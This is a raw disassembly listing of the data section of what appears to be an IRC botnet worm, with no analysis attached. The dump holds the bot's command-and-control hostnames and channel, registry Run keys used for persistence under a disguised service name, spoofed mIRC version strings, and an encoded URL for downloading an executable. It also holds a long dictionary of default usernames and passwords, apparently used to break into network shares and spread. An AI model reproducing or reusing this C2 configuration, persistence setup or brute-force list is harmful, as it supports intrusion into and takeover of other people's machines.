		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D0E4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D0E0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D35Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D52Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DB34o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DB34h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DB4C	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DB4C
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB6C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB6C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB8C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB8C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DBB0	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DBB0
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DB34
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DB34
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DB4C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB6C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB8C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(709F021Ah), 5 dup(3A3DECABh), 75h dup(0)
		dd 3A3DECABh, 15h dup(0)
		dd 709F021Ah, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 72657373h, 652E6376h, 6578h,	6E6E6977h, 61622E74h, 74h
aWindowsServces	db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset byte_43DBD8
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
